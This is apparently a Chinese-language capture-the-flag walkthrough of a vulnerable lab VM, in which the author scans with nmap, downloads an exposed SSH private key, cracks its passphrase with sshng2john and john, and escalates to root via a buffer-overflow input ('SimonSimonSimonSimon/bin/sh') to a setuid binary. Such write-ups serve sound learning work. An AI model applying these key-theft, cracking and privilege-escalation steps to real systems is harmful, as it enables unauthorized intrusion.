ssh-私钥泄露
靶机地址:https://pan.baidu.com/s/1mLw3yuqardX3f1F0ocPmkQ
1.主机发现
这里使用了一下二层发现工具netdiscover(netdiscover -r 10.10.3.1/24
),发现即使是主动发现也不能准确探测所有足迹,折腾了一段时间,最后还是用nmap的主机发现命令扫除了漏洞机(nmap -sP 10.10.3.0/24
)
2.服务扫描
这个简单nmap扫一下就出来了
nmap -sV 10.10.3.102
3.http服务探测
1.探测31337端口开放的服务发现需要进行一下目录扫描
2.发现了两个敏感目录.ssh和robots.txt
3.拿到第一个flag,再看第二个.ssh
4.最后发现http://10.10.3.102:31337/.ssh/id_rsa.pub
和http://10.10.3.102:31337/.ssh/id_rsa
可以下载到本地
5.利用私钥连接服务器
查看用户名:cat id_rsa.pub
ssh连接:ssh -i id_rsa simon@10.10.3.102
6.需要输入密码,于是想通过john破解密钥,首先将私钥转化为john可识别的hash文件这里用到一个工具sshng2john这是一个python脚本https://github.com/truongkma/ctf-tools/blob/master/John/run/sshng2john.py
python sshng2john id_rsa > tmp
7.利用zcat加载字典,利用john破解密钥
zcat /usr/share/wordlist/rockyou.txt.gz | john --pipe --rules tmp
8.得到密钥为starwars,登陆
9.进入root目录
10.查询发现有两个文件
flag.txt
11.cat flag.txt
发现无权限
12.cat read_message.c
发现第二个flag,同时发现存在缓冲区溢出漏洞
13.20个字节
这里发现read_message已经被编译存在于/usr/local/bin目录下,直接运行
SimonSimonSimonSimon/bin/sh即可提权
拿下flag3
总结
第一次接触ctf感觉还是挺有意思的,感觉还有好多东西要学习,方向的话还是觉得对抗和mixed更有趣一点。